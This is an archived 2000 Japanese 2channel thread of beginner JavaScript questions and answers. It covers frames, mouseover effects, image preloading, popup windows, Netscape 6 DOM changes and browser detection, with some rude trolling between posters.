JavaScript の質問用スレッド

1 名前:名無しさん@1周年 投稿日:2000/10/22(日) 14:22
やたら乱立するので立ててみました。
JavaScriptの事でききたいことがあったらこちらへどうぞ。

注: JAVA と JavaScript は別の物です混同しないようにして下さい。


住人のみなさん、煽らないで優しくしてあげてね。

2 名前:ちなみに 投稿日:2000/10/22(日) 14:25
過去ログにはこんなのがあります。
質問を書き込む前にこっちも参考にしてください。

「JavaScriptで新しい窓」
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=970714843&ls=50
「JavaScriptで他の窓の関数呼び出し」
http://mentai.2ch.net/test/read.cgi?bbs=hp&key=970801838&ls=50


3 名前:名無しさん@1周年 投稿日:2000/10/23(月) 00:46
下がってるのでage

4 名前:名無しちん 投稿日:2000/10/24(火) 11:30
フレ−ム同士のあいだで関数やら変数を
共有することってできるの?
そのための特殊な宣言の仕方とかあるの?
フレーム越しじゃ、画像変えるぐらいしか
できないのかな。

5 名前:> 投稿日:2000/10/24(火) 13:12
.jsファイルで共有はだめですか?

6 名前:名無しさん@1周年 投稿日:2000/10/24(火) 13:31
http://www.cam.hi-ho.ne.jp/t-sue/js/kaisetsu/frame2.htm
http://www.cam.hi-ho.ne.jp/t-sue/js/kaisetsu/frame5.htm
http://www.cam.hi-ho.ne.jp/t-sue/js/kaisetsu/frame3.htm

7 名前:JS初心者。 投稿日:2000/10/24(火) 14:42
JSでテーブルのセルの背景色を変更することって可能なんでしょうかね。
リンクにカーソル持ってくるとセルの背景色が変化するようにしたいんですが。
素直にイメージ使えばいいかなとは思うけれど、なんとかこれで軽いページは作れない物かと思案中。
ページ自体の背景色を変えることはできるんだけどな…。


8 名前:漏れも初心者 投稿日:2000/10/24(火) 15:45
>7
DHTMLなら似たようなことはできるんだが、、

9 名前:名無しさんZ80 投稿日:2000/10/25(水) 15:53
ageたい気分だ。

10 名前:名無しさん@1周年 投稿日:2000/10/25(水) 17:24
>7
<td
onmouseover="this.style.background='red'"
onmouseout="this.style.background='black'">

とか
<td onmouseover="this.style.background='url(bg.gif)'">

とか。


セルの一つ一つに設定するのは結構面倒ですが、
ちょっと頭を使えば簡略化できます。


11 名前:必要無しさん@引きこもり 投稿日:2000/10/25(水) 17:28
>4
隣のフレームの関数や変数にアクセスする場合。
parent.フレーム名.document.write("ばびょーん");
parent.フレーム名.location.reload();
parent.フレーム名.x=x+1;

親フレームにアクセスする場合。
parent.location.reload();
parent.x=x+1;

フレーム間が違うサーバーの場合は
アクセス禁止のエラーが出ます。

12 名前:名無しさん@1周年 投稿日:2000/10/25(水) 19:34
ネスケでは navigator.plugins からプラグイン一覧が得られるんですが、
document.plugins は両者で対応してると聞きました。
しかしネスケでもIEでもデフォルトプラグインすら取得できません。
document.plugins.length が常に偽になってしまっているんですが何か問題あるんでしょうか。

それから navigator.plugins.refresh() に対応するようなものは document.plugins にはあるんでしょうか。
それとも不要なんでしょうか。
申し訳ありませんがご存知なら教えてください。

13 名前:名無しさん@1周年 投稿日:2000/10/25(水) 19:38
10のでもちろんあってるけど、ネスケじゃダメだってことも忘れずにね。
まぁ、ネスケなんてどーでもいいけど。

14 名前:バイク犬 投稿日:2000/10/25(水) 22:30
>>4
むかーし、フレーム切ってフォームの隠しフィールドに変数を入れさせて
変数を共有させonChangeとかで反映させたこともありましたな。

15 名前:JS初心者。 投稿日:2000/10/26(木) 12:29
>10 13
ありがとうございます。
これから10を参考にさせてもらっていろいろ試してみますね。
ネスケでは不可か…。仕方ないかな…。


16 名前:4 投稿日:2000/10/26(木) 14:43
>11
ご助言ありがとうございます。とりあえずいろいろ試してみます。
>14
なんだか器用なことやってますね。
クッキー経由以外にもそんな裏技がありましたか。

17 名前:必要無しさん@引きこもり 投稿日:2000/10/26(木) 18:11
他には
location.hashでデータを受け継ぐ
window.nameでデータを受け継ぐ

まだあるかな?

18 名前:名無しさん@1周年 投稿日:2000/10/27(金) 21:08
<form name="form">
<select name=namae>
<option value="aaa">aaa
<option value="bbb">bbb
<option value="ccc">ccc
<option value="ddd">ddd
<option value="eee">eee
</select>
</form>

で、javascriptを使って、フォームformのnamaeのcccは、何番目にあるかを知ることは出来ませんか?
よろしくお願いします。

19 名前:必要無しさん@引きこもり 投稿日:2000/10/27(金) 22:11
var j=document.form.namae.length;
var kekka=-1;
for(var i=0;i<j;i++){
if((document.form.namae[i].value=="ccc")){
kekka=j;
break;
}
}
if(kekka<0)alert("該当するフォーム無し");
else alert("cccは"+kekka+"番です。");

試してないけどこんな感じかな。

20 名前:名無しさん@1周年 投稿日:2000/10/28(土) 12:51
オリジナルのwindow制御のjava script開発したひといませんか。

21 名前:必要無しさん@引きこもり 投稿日:2000/10/28(土) 14:35
オリジナルって???

22 名前:名無しさん@1周年 投稿日:2000/10/28(土) 14:42
>20
VBScriptみたいなものを、想像してるのか?

23 名前:18 投稿日:2000/10/28(土) 15:15
>>19
× kekka=j;
○ kekka=i;
ですね。(^^;
ありがとうございましたm(__)m

24 名前:必要無しさん@引きこもり 投稿日:2000/10/28(土) 15:55
>× kekka=j;
>○ kekka=i;
ああはづかしい・・・


25 名前:名無しさん@1周年 投稿日:2000/10/29(日) 01:20
Java Scriptを一から勉強したいと思っています。
HTMLとCSS以外、言語らしい言語を扱ったことはない状態です。

Java Scriptを習得する際、参考にした書籍などはありますか?
また、オンラインのリファレンスでわかりやすいものはありますか?
いろいろ検索してみたけど、サンプル集のようなものが多いのです。

(アホな質問だったら無視してください、すみません)

26 名前:名無しさん@1周年 投稿日:2000/10/29(日) 01:23
>>25
とりあえず
×「Java Script」
◯「JavaScript」

秀丸マクロが組めるくらいの技量があれば、
とほほのリファレンス程度でも十分いけるんだが。


27 名前:必要無しさん@引きこもり 投稿日:2000/10/29(日) 02:22
「マイコンJABASCRIPTマガジン」みたいなのがあればいいのにね。

28 名前:必要無しさん@引きこもり 投稿日:2000/10/29(日) 02:24
JABA→JAVAでし

29 名前:名無しさん@1周年 投稿日:2000/10/29(日) 02:47
>25
MSのサイトのリファレンスだけで文法大丈夫、
IEとネスケの違い以外気にすること無いし本なんて要らないよ。

30 名前:25 投稿日:2000/10/29(日) 11:31
>>26
「Javascript」ですね、わかりました。
>>27-29
ご助言ありがとうございます。

31 名前:25<(_ _)> 投稿日:2000/10/29(日) 14:00
うわっ、また間違えてる、アホだ。「JavaScript」ですね。
MS周辺を検索するとたしかにリファレンスがいくつか出てきました。
ヒントありがとうございます。いろいろ読んでみます。
「ここのがわかりやすいよ」というのがあれば情報ください。

32 名前:名無しさん@1周年 投稿日:2000/10/30(月) 23:48
書籍だけど、これがあるに越したコトぁないってのを勧めておくよ
「JavaScriptポケットリファレンス」
各命令ごとにサンプルが乗ってるから、『あーこの部分がこーいう役割をはたしてるのか』
ってのが直感的にわかるんで良し。「イベント」の頁は初心者にはなるほどって思わせるのでは?
ぼちぼち覚えてからも辞書代わりとしてけっこう重宝するし、オススメの一冊

33 名前:25 投稿日:2000/10/31(火) 00:47
>>32 情報ありがとうございます。たしかに長く使えそうですね。
http://www2.gihyo.co.jp/books/bookinfo.asp?ID=4-7741-0779-4

34 名前:名無しさん@1周年 投稿日:2000/10/31(火) 08:49
http://www.caveofmagic.com/aboutus2.htm
ここのClick here to try Simeon' Cave of Magic again!というJavaScriptなんですが
心の中で思ってたカードが消えちゃうんですが、どうなってるのでしょうか?


35 名前:名無しさん@1周年 投稿日:2000/10/31(火) 08:55
全部のカード入れ替わってるだけじゃん・・・・・・・

36 名前:名無しさん@1周年 投稿日:2000/10/31(火) 09:17
ポケットリファレンスシリーズって、
アホっぽい文章+カタカナフォント系の装丁だけど
ジャバスクリプトの本と、パールとCGIの本は
内容が硬派なんだよね。

37 名前:名無しさん@1周年 投稿日:2000/11/04(土) 22:07
あーげ

38 名前:助けてください。 投稿日:2000/11/05(日) 00:13
カーソルを当てたら画像が変わるようにしたんですが、
重いので、画像を先に読み込みたいのですが、
やり方、ご存知の方教えてください〜。
<td><IMG SRC="1.jpg"
onMouseover="this.src='2.jpg'"
onMouseout ="this.src='1.jpg'">
ちなみに、今は↑こうしてます。




39 名前:名無しさん@一周年 投稿日:2000/11/05(日) 00:27
>38
htmlだけで十分。
<img src="2.gif" lowsrc="1.gif">
で1が先に読み込まれて2が読み込まれた時点で表示。

デモ。。。IEだとダメだっけ?

40 名前:38 投稿日:2000/11/05(日) 00:50
駄目でした…。>>39

41 名前:名無しさん@1周年 投稿日:2000/11/05(日) 00:50
>>38
このスクリプト使うか参考にしたらどう?
画像の先行読み込みしてるらしい。
www2f.biglobe.ne.jp/~takan/javac/n3/image_change1.htm

他にもJavaScriptあつかってるサイト回ったらいろいろあるよ。
さがしてみ

42 名前:>38 投稿日:2000/11/05(日) 00:50
<IMG SRC="1.jpg WIDTH=1 HEIGHT=1>
<IMG SRC="2.jpg WIDTH=1 HEIGHT=1>

気付きにくい場所に1×1であらかじめ表示させてキャッシュってのはどうだ?

43 名前:38 投稿日:2000/11/05(日) 00:57
>>40@`41
わ〜、ありがとうございます!
両方、試してみます!!本当にありがとう!

44 名前:名無しさん@1周年 投稿日:2000/11/05(日) 00:59
hogehoge = new Image(); hogehoge.src = 'hoge.jpg'
って最初にやっときゃいいんじゃねーの・・

45 名前:名無しさん@1周年 投稿日:2000/11/05(日) 02:54
44に1票

46 名前:必要無しさん@引きこもり 投稿日:2000/11/05(日) 03:43
そのまんまだとIE3でスクリプトエラーが出ますけどね。
(といいつつ私はほとんどIE3は無視)

47 名前:Mouseover 投稿日:2000/11/05(日) 04:16
Mouseoverでイメージを変更するのはよくみかけますが、同時に軽い効果音
(Wav)なんかもだせないものですかね?
embedとかも組み込めるのかな?


48 名前:名無しさん@1周年 投稿日:2000/11/05(日) 04:23
隠しフレームを使えばできるかもしれないが、、、

49 名前:Mouseover 投稿日:2000/11/05(日) 11:43
>48
できるかもしれないってことは、あまり一般的ではないということですかね?
Flashはつかいたくないからなー

50 名前:25 投稿日:2000/11/05(日) 17:12
「JavaScriptポケットリファレンス」入手しました。
これから勉強にいそしみます。

51 名前:名無しさん@1周年 投稿日:2000/11/05(日) 21:07
あほな質問かもしれないけど、
javascriptとDHTMLを分けてるところが多いけど、
DHTMLってjavascriptでやってるのじゃないの?

52 名前:名無しさん@1周年 投稿日:2000/11/05(日) 21:23
DHTML⊃JavaScript

53 名前:名無しさん@1周年 投稿日:2000/11/06(月) 00:00
dhtmlのオブジェクトをjavascriptから使用してる。
vbscriptでもperlscriptでも出来る。

54 名前:名無しさん@1周年 投稿日:2000/11/07(火) 03:21
DHTMLのオブジェクト って言葉は意味不明。

55 名前:53 投稿日:2000/11/07(火) 03:45
>54
そんなに変かな、なんて言えばいいの?
http://www.microsoft.com/japan/developer/library/psdk/jpisdk/dhtml/references/dhtmlrefs.htm

56 名前:名無しさん@1周年 投稿日:2000/11/08(水) 21:32
画像の先行読み込みだったらこれ使いなよ(オリジナル)

/*-----------------------------プレロード関数--------------------------------*/
preroad()
function preroad(){
f_name = new Array
file = new Array

//先行読みこみしたい画像分だけ要素数を追加する
f_name[1] = "ファイル名"
f_name[2] = "ファイル名"
f_name[3] = "ファイル名"

var i
for(i = 1;f_name.length > i;i++)
{file[i] = new Image();file[i].src = f_name[i]}
}
/*-------------------------プレロード関数ここまで----------------------------*/


単体で動くんでコピペも可能。重宝するぞ


57 名前:名無しさん@1周年 投稿日:2000/11/08(水) 23:19
>>56
あんた偉い!

ソース見るなとか右クリック禁止とか言ってる奴に
爪の垢を煎じて飲ませてやりたい。

ついでにDHTMLと組み合わせて
ロード中の可視属性をhiddenニしておいて
ロード終了後にvisibleにしてやるとよし。

待ってる方はイライラするだろうね(^^;

58 名前:名無しさん@1周年 投稿日:2000/11/08(水) 23:35
>57 おまえ周りでクソって呼ばれてルだろ?

59 名前:名無しさん@1周年 投稿日:2000/11/09(木) 00:26
面白味のない煽りだなあ。

60 名前:名無しさん@1周年 投稿日:2000/11/11(土) 01:13
>>56
もらって逝きます
ありがとう!

61 名前:名無しさん@1周年 投稿日:2000/11/12(日) 00:07
”お買い物カゴ(ショッピングバスケット)を
作れますか?”
とゆーお問い合わせがきましたが、うちの
ISPは自作CGI不可なのです。
そこで、私なら、
”ムリデス”
と答えると思いますが、その質問を受けた先輩は
”javascript を使えばできます”
と答えちゃったらしーです。
コメントください。



62 名前:名無しさん@1周年 投稿日:2000/11/12(日) 00:36
>61
そういうソースを頒布しているサイトがある

63 名前:名無しさん@1周年 投稿日:2000/11/12(日) 06:19
>>61
ちっと考えればできそーなもんだろ
つーかできる。
そして今頑張って作ってる・・・
あと少しで完成・・・・・



64 名前:名無しさん@1周年 投稿日:2000/11/12(日) 06:56
>>56
誰も言わないんで、ごめん。
関数だから名前は何でも良いと思うけど、preroadは無いんじゃないかい。

65 名前:名無しさん@1周年 投稿日:2000/11/12(日) 07:27
その辺はちょっとしたお茶目っつーことで。

66 名前:名無しさん@1周年 投稿日:2000/11/12(日) 11:47
>56
正しくは、new Array()であ〜る。

67 名前:名無しさん@1周年 投稿日:2000/11/12(日) 12:37
>>64

その辺はフィーリングだよ。キミィ

68 名前:56 投稿日:2000/11/12(日) 23:31
>64と66

う〜ん。動けば良しっつーコトで勘弁してくださいな

69 名前:あまちゃん 投稿日:2000/11/14(火) 11:10
有意義スレなので、age

70 名前:名無しさん@そうだ大統領選挙に行こう 投稿日:2000/11/14(火) 12:07
お買い物かごシステムって、特許取られてませんでした?
いや、ぼんやりとした知識。


71 名前:名無しさん@1周年 投稿日:2000/11/14(火) 12:52
>>70

Amazone.comがビジネスモデル特許を取ってるんじゃなかったかな。

しかしインターネットって研究者やハッカーたちが無償で
技術を公開しあって発展してきたのに、最近は特許や著作権がらみで
なんだかおかしな方向へ進んでいってるような気がする。

72 名前:名無しさん@1周年 投稿日:2000/11/14(火) 22:54
新しい窓を開いて画像を表示させる、というのをJavaScriptを使ってやっているのですが

<A HREF="#" onClick="window.open('***.jpg'@` 'gal'@` 'width=600@`height=800')">画像</a>

これを、JavaScript非対応ブラウザ・もしくはJavaScriptを切っている人にも見られるように
するためには、どうしたらいいですか?



73 名前:名無しさん@1周年 投稿日:2000/11/14(火) 23:07
<a href="***.jpg" target="_blank">画像</a> (´_`;)

74 名前:名無しさん@1周年 投稿日:2000/11/14(火) 23:11
新しいウィンドウを開いて、document.write()でページを表示させたのですが、
生成するないように<script>タグが入っていると、<script>タグがねすけでは無視されて、新たに生成したページに組み込まれません。
IEではちゃんと組み込まれているのですが・・
なぜでしょ??

75 名前:72>73 投稿日:2000/11/14(火) 23:27
質問の仕方が悪かったみたいで。
窓のサイズを指定したいので、JavaScriptで見られるひとはこのままにしておいて、
そうでない人にも見られるようにしたいんです。

76 名前:yuu 投稿日:2000/11/14(火) 23:29
>>72

<a href="foo.jpg" target="_blank" onclick="window.open('foo.jpg');return false">画像</a>


77 名前:yuu 投稿日:2000/11/14(火) 23:30
target指定は、まあお好みで。

78 名前:72>76 投稿日:2000/11/14(火) 23:35
できました。ありがとうございます。


79 名前:56 投稿日:2000/11/14(火) 23:51
>74
ネスケのバグのひとつで、document.write内に</script>があると
そこでスクリプトの終了を認識しちゃってどーたらこーたらってのがあったな。
もしかしてそれが起因してるんじゃない?

<script>を出力するときにdocument.write("<"+"script>")、同様に
</script>を出力するときもdocument.write("</"+"script>")
(タグを分割させてスクリプト上で認識させなくする)

って変更してみて。それで動かなかったらちょっとわかんないなぁ

80 名前:56 投稿日:2000/11/15(水) 00:13
あ、ゴメン。「document@`write内に</script>があると」じゃなくて
「スクリプト内に</script>があると」だった。

81 名前:74 投稿日:2000/11/15(水) 01:33
>>79
すでにそれもテスト済みですー
やっぱだめでしたー
はあー・・

82 名前:むぎ茶 投稿日:2000/11/15(水) 01:57



もう来るな。うざ


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit



83 名前:56 投稿日:2000/11/15(水) 21:10
じゃあこーいう方法は?

tagstart = "<";
tagend = ">";
document.write(tagstart+"script"+tagend)
document.write(tagstart+"/script"+tagend)

コレも試してるかなぁ。

っていうか、Jsで出力したモノでさらにJsで何かやらせるなんて
ずいぶん器用なコトしてるのね・・・

84 名前:名無しさん@1周年 投稿日:2000/11/16(木) 00:32
┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
↑右のラインがずれてるよ?

85 名前:名無しさん@1周年 投稿日:2000/11/16(木) 01:14
<\/script>

86 名前:むぎ茶 投稿日:2000/11/16(木) 02:17

>>84

固定ピッチ(わr


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit



87 名前:私の質問はここで良いのですか? 投稿日:2000/11/17(金) 00:30
教えてください。
JavaAppletで書かれたプログラムをホームページに
使っては行けない方向なのでしょうか?


88 名前:むぎ茶 投稿日:2000/11/17(金) 00:59



用語を正しく使えるようになるまでは
書き込みはご遠慮ください。


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit



89 名前:名無しさん@1周年 投稿日:2000/11/17(金) 01:01
>>88
お前もな。

90 名前:名無しさん 投稿日:2000/11/17(金) 02:12
┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit
      ↓
      もう来るな。うざ

91 名前:milet 投稿日:2000/11/17(金) 02:18
>87
昔とくらべたら かなり良くなりましたが、
JavaApplet の起動には 一寸時間がかかって
ユーザーをいらつかせるので、複雑なことをしないのであれば、
1・DHTML
2・Flash
 などを使ったほうが適切でしょう。
簡単なゲームなら Flash でも出来ます。

 Mac-OS では、Java の環境が十分でないですしね。
「JDK1.1 レベルのアプレットが動く」可能性よりも、
Flash5 のプレーヤーが入っている可能性の方が高いです。



92 名前:87です 投稿日:2000/11/17(金) 02:34
91さんありがとうございます。

93 名前:名無しさん@1周年 投稿日:2000/11/17(金) 02:52
JVMは標準装備デス

94 名前:名無しさん@1周年 投稿日:2000/11/19(日) 08:30
NS6の場合はDHTMLはどのように対応したらいいですか?
DOM1とのことらしいですが、どういう風に今までのものを書き換えたら
よろしいですか?できれば、簡単のものでいいですので、参考させてください。
もしくは、NS6に対応している、DHTMLがあれば、教えてください。

95 名前:Name_Not_Found 投稿日:2000/11/20(月) 02:48
age

96 名前:名無しさん@1周年 投稿日:2000/11/20(月) 02:55
>>95
thanks!結構エラーだらけでしたから参考になります。JavaScriptって奥が深いですね。

97 名前:Name_Not_Found 投稿日:2000/11/20(月) 03:18
>>94
IE5あたりで使ってるソースを流用できないこともないです。
とりあえず、
document.all.Id.style〜
という記述は
XX = document.getElementById('ID');
XX.style.top = '2em';
のように書けばIE5/N6双方で動きました。
getElementsByName@`getEmlementsByTagNameでもいけます。
詳しくは仕様書を読みましょう。
http://www.w3.org/Consortium/Translation/Japanese
からいけます。

98 名前:Name_Not_Found 投稿日:2000/11/20(月) 23:25
NN6でレイヤー指定ってどうやるの?今までは
「document.layer[名前or参照番号]〜命令」だったけど、
どうもそのdovument.layer自体にエラーが発生しちゃうんだよね。

あとついでに、手軽にIEとNNを判別することができた
if(document.all){/*IEの処理*/}
if(document.laner){/*NNの処理*/}
もうまく動作してくれなくて・・・なにかいい方法ないかな?

99 名前:Name_Not_Found 投稿日:2000/11/21(火) 01:11
>98
97さんが思いっきり書いてるじゃん・・・
IE5/NN6は要素にIDをつけりゃあgetElementById()でいけます。

お手軽判別はできないっす。
元々それぞれの使用を逆手に取った判別方法なので。
普通にUserAgentを取得して判別してやりましょう。

100 名前:名無し人間 投稿日:2000/11/21(火) 17:07
http://rental.chat.co.jp/registry/free?cid=applet_free

ここにあるような書きこみ形式のチャットを設置したいのですがここ以外で方法はありませんか?

101 名前:Name_Not_Found 投稿日:2000/11/21(火) 17:55
if (navigator.appCodeName.indexOf('Gecko') != -1)
N6というかGeckoを判別するにはこれしかないかなぁ。


102 名前:94 投稿日:2000/11/21(火) 19:36
>>97さん
ありがとうございます。
参考になります。

103 名前:98 投稿日:2000/11/21(火) 21:30
>>99 >>97
あ、ホントだ。過去ログ読め以前の問題だなこりゃ、失礼いたしました。
そぉかID指定ね、よかった〜これ使えば残業時間が軽減される・・・ありがとうございました

104 名前:Name_Not_Found 投稿日:2000/11/22(水) 18:35
CSSの質問で悪いんですが、HEAD間でのタグのスタイル定義で
onmouseoverやonmouseoutって組み込めますか?
定義する書式がないかいろいろ探したり試したりはしたんですが。
今はタグを使用する度に定義してるんですが、ソースがごちゃごちゃしてしまって…。

105 名前:Name_Not_Found 投稿日:2000/11/22(水) 19:40
>>104
おいおーい! onmouseover や onmouseout はCSSじゃないよー!

「マウスが乗ったらリンクの文字色を変えたい」ということであれば
a:hover というセレクタを使ってみてくださいな。

そろそろスタイルシートのスレッドが必要になってきたかな……?

106 名前:Name_Not_Found 投稿日:2000/11/22(水) 21:54
>>105
むしろ104はonmouseoverをタグだと思っているのではないだろうか。
どうでもいいけど。


107 名前:名無しさぬ 投稿日:2000/11/22(水) 22:28
>105
いるかもね。

108 名前:104 投稿日:2000/11/23(木) 09:51
>>10とか>>38みたいな使い方なんですが…。
CSSでなければ dhtml? JavaSc?
…なんか基本的なとこから間違ってるみたいですな。逝ってきます。

恥…。

109 名前:Name_Not_Found 投稿日:2000/11/24(金) 21:16
http://www4.freeweb.ne.jp/computer/coolo/library/scripts/lstExpImg.shtml

このページの、例の部分は、最初に表示されるのがメッセージが
出ている状態だけど、
逆に、ページに入った時にメッセージが隠れていて、クリックすると
メッセージが出るようにするにはどうしたらいいのでしょうか?

110 名前:しょしんしゃ 投稿日:2000/11/25(土) 00:40
>>105さん
a:hover

111 名前:しょしんしゃ 投稿日:2000/11/25(土) 00:42
すんません、思わずエンターキー押しちゃいました。
>>105さん、
a:hover {color:#rrggbb;}
っていう使いかたするんですか?教えてください。


112 名前:むぎ茶 投稿日:2000/11/25(土) 01:18



おまえは自分で調べろや。
基本中の基本だろ。初心者とか名乗ってんじゃねぇ。


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit



113 名前:105 投稿日:2000/11/25(土) 01:22
>>111
そゆことだよーん
background-color とか text-decoration とかを
あわせて指定するのが 一部海外エロサイトで
はやってるみたいだよーん

>>むぎちゃん
こんばんはーん

114 名前:Name_Not_Found 投稿日:2000/11/25(土) 01:35
むぎ寝れ

115 名前:Name_Not_Found 投稿日:2000/11/25(土) 12:33
NS6ではinnerWidth(innerHeight)って使えなくなったんですか?
これに代わるものってあるんでしょうか。
DOM仕様書とか読んでみたけど解からなかった…

116 名前:Name_Not_Found 投稿日:2000/11/25(土) 12:48
つーかむぎ茶ってほんとにアホ(ワラ

117 名前:しょしんしゃ 投稿日:2000/11/26(日) 01:06
>>105さん
 ありがとうございました!

>>むぎ茶
 一応自分で試したよ。

118 名前:Name_Not_Found 投稿日:2000/11/26(日) 15:09
アトランダムに画像を表示させる場合、
<HEAD></HEAD>の中で、
画像の先行読み込みをさせるの?

参考にしたページにはなかったので無しでやってるんですが、
それで良いのかどうか??正しい方法を教えて下さい。

119 名前:Name_Not_Found 投稿日:2000/11/26(日) 16:32
>118
document.write使えばいい。
ランダムの一番下の桁とって、
画像名を1−9まで用意すればいいじゃん。
それか、ランダムを画像数で割って、あまりの数値でやると言うのもある。

120 名前:┐('〜`;)┌ 投稿日:2000/11/26(日) 17:31
>>105
それだとIEだけじゃん

121 名前:118 投稿日:2000/11/27(月) 09:40
画像の表示は出来ているようです。

ただ、現在、全部BODY内に書いているので、
HEAD内での先行読み込みをした方が良いのか、
必要ないのかを教えていただきたいのです。

よろしくお願いします。

122 名前:Name_Not_Found 投稿日:2000/11/27(月) 13:44
重い画像だと 先行読み込みはウザイよ。

123 名前:Name_Not_Found 投稿日:2000/11/27(月) 22:34
>>122
ごもっとも、加減が重要だよね

124 名前:Name_Not_Found 投稿日:2000/11/28(火) 06:10
ageよう

125 名前:Name_Not_Found 投稿日:2000/11/28(火) 15:36
JavaScriptで訪問者のプロシキを割り出す事は可能ですか?

126 名前:Name_Not_Found 投稿日:2000/11/28(火) 16:43
プロキシを割り出すの意味が分かりません。

127 名前: 投稿日:2000/11/29(水) 17:40
すいません、非常に基本的なことだと分かっているのですが、どうにも分かりません。

<body>
<a href="a.htm">aファイル</a>
<a href="b.htm">bファイル</a>
<a href="c.htm">cファイル</a>
</body>

とリンクをはっているのですが、リンクをクリックすると新しいウインドウ一つ
(縦50ピクセル、横100ピクセル)が開かれて、クリックするたびにa@`b@`cファイルが、
新しく出てきた一つのウインドウで表示されるようにしたいのですが、どうすれば
いいですか?
window.openを使えばいいというのは分かるんですが、どうやっていいか分かりません。
どなたか教えてくれませんか。お願いします。

128 名前:Name_Not_Found 投稿日:2000/11/29(水) 18:18
「すみません」「わかりません」を免罪符に使うな。
window.openを使って試しに書いてみろよ。それが動こうが動くまいが
指摘を受ければ何が間違っていたのかとかわかるだろ。
やる前に質問してたら次何かあるたびにまた質問しなきゃなんない。
一生上達しないよ。技術レベルだけじゃなくて意識レベルでもね。

129 名前:ナナし 投稿日:2000/11/29(水) 18:32
フレーム内にあるIframeをフォームを使って変えたいんですけどうまくいきません。
下のURLに作ったのがUPしてあるんで、どなたか訂正してください。お願いします。
http://www.geocities.co.jp/Hollywood-Theater/4875/

130 名前:Name_Not_Found 投稿日:2000/11/29(水) 19:35
URLURLURLURLURLURLURL
UPUPUPUPUPUPUPUPUPUPUPUP

131 名前:Name_Not_Found 投稿日:2000/11/29(水) 23:35
>>129
parent → self かな??

132 名前:ナナし 投稿日:2000/11/30(木) 01:09
>>131さん
うまく行きました。どうもありがとうございました。
130を見たときはちょっとへこんだけど・・・。

133 名前:Name_Not_Found 投稿日:2000/12/03(日) 05:06
JAVASCRIPTでブラウザごとにスタイルシートを切り替えるにはどうするの?


134 名前:名無しさん@1周年 投稿日:2000/12/03(日) 05:11
>>133
if(navigator.appName=="Microsoft Internet Explorer") {
document.write('<link rel="stylesheet" type="text/css" href="style_ie.css">');
}
のとこか?

135 名前:Name_Not_Found 投稿日:2000/12/03(日) 13:18
JavaScriptを使った“リンク元の判らないリンクの貼り方”があるそうですが、
下記のHPかったぱしから調べたけど、分らんかった・・・

どなたかご存知の方いますか?

↓ヤフーのリザルト
http://www.yahoo.co.jp/Computers_and_Internet/Programming_Languages/JavaScript/



136 名前:133 投稿日:2000/12/03(日) 15:44
>>134
var apname=navigator.appName;

if(apname.indexOf('Microsoft')>=0){
document.write("<link rel="stylesheet" href="ie.css" type="text/css">")
}
else if(uagent.indexOf('Netscape')>=0){
document.write("<link rel="stylesheet" href="ns.css" type="text/css">")
}
else{document.write("<link rel="stylesheet" href="et.css" type="text/css">")
}
ってまわりくどい感じでやってた。鬱だ。


137 名前:133 投稿日:2000/12/03(日) 17:45
("<link rel="stylesheet" href="ie.css" type="text/css">")
の「"」は「'」らしい。死のう。

138 名前:Name_Not_Found 投稿日:2000/12/04(月) 00:38
>>135

<A href="JavaScript:location.href='http://www.***.com'">りんく</A>
のようにすれば、IEならリファラ取れないはず(だったとおもう)


139 名前:135 投稿日:2000/12/04(月) 18:59
138さん、ありがとう。

早速自分のHPで試してみます。
アクセスログが届くのは来年だけど、楽しみです。

140 名前:どー 投稿日:2000/12/06(水) 02:09
めっちゃ基本的なところでつまってるかもしれんが、質問。

&lt;!--
function MM_openBrWindow(theURL@`winName@`features) { //v2.0
window.open(theURL@`winName@`features);
}
//--&gt;

<A HREF="*****" onClick="MM_openBrWindow('../*****.mov'@`'NAME'@`'width=200@`height=200')">
<IMG SRC="***.gif">

だと、MacIEでとりあえずウィンドウがでてその前でQTプレイヤーが出る。
つまり、二重に窓が開くのだが、QTを開いたWindow内で展開させるにはどーすればいーのか。
ちなみに他のブラウザやWindowsではOK。
現在QTを埋め込んだHTMLを作成してWindow内に読み込んでるが、大量なので手間がかかってまた会社で日の出。

141 名前:Name_Not_Found 投稿日:2000/12/10(日) 01:25
age

142 名前:Name_Not_Found 投稿日:2000/12/10(日) 04:32
大学サーバーでHPを作ってるんだけど、
ページを表示するたびに、
http://students.web.waseda.ac.jp/winopen.html
が、別ウインドーで開いてしまいます。
↓が自動的に挿入されるんだけど、
解決方法はあります?

<Script Language="JavaScript">
&lt;!--
var callr="http://students.web.waseda.ac.jp/winopen.html";
newwin();
function newwin(){
if(location.pathname!="/winopen.html"){
win=window.open(callr@`""@`"resizable=yes@`width=400@`height=200");
var av=parseInt(navigator.appVersion);
var cal="http://students.web.waseda.ac.jp/winopen.html";
if(av<=2);
else if(av>2){
ag=navigator.userAgent;
str="MSIE";
if(ag.match(str)){;}
else{win.focus();}
}
}
}
//--&gt;
</Script>

143 名前:むぎ茶 投稿日:2000/12/10(日) 06:45



ちっとは自分で考えろ。


┏━━━━━━━━━┓
┃('Д')y ─┛~~ ┃
┃むぎ茶      ┃
┃mugicha@360.cc  ┃
┗━━━━━━━━━┛
http://all.at/bit



144 名前:Name_Not_Found 投稿日:2000/12/10(日) 09:33
>>142
JavaScriptをオフにするとか・・・

145 名前:Name_Not_Found 投稿日:2000/12/10(日) 14:25
>>142
過去ログ検索、または試行錯誤してください。
と言いたいところだが、特別教えてやろう。

ウィンドウが開いたそばから閉じる
<BODY onLoad="win.close()">

誰も見に来ないページ作って遊んでないで、少しは学業に励んでくれ。以上。

146 名前:142 投稿日:2000/12/10(日) 23:05
なるほど。。。
さんくす。

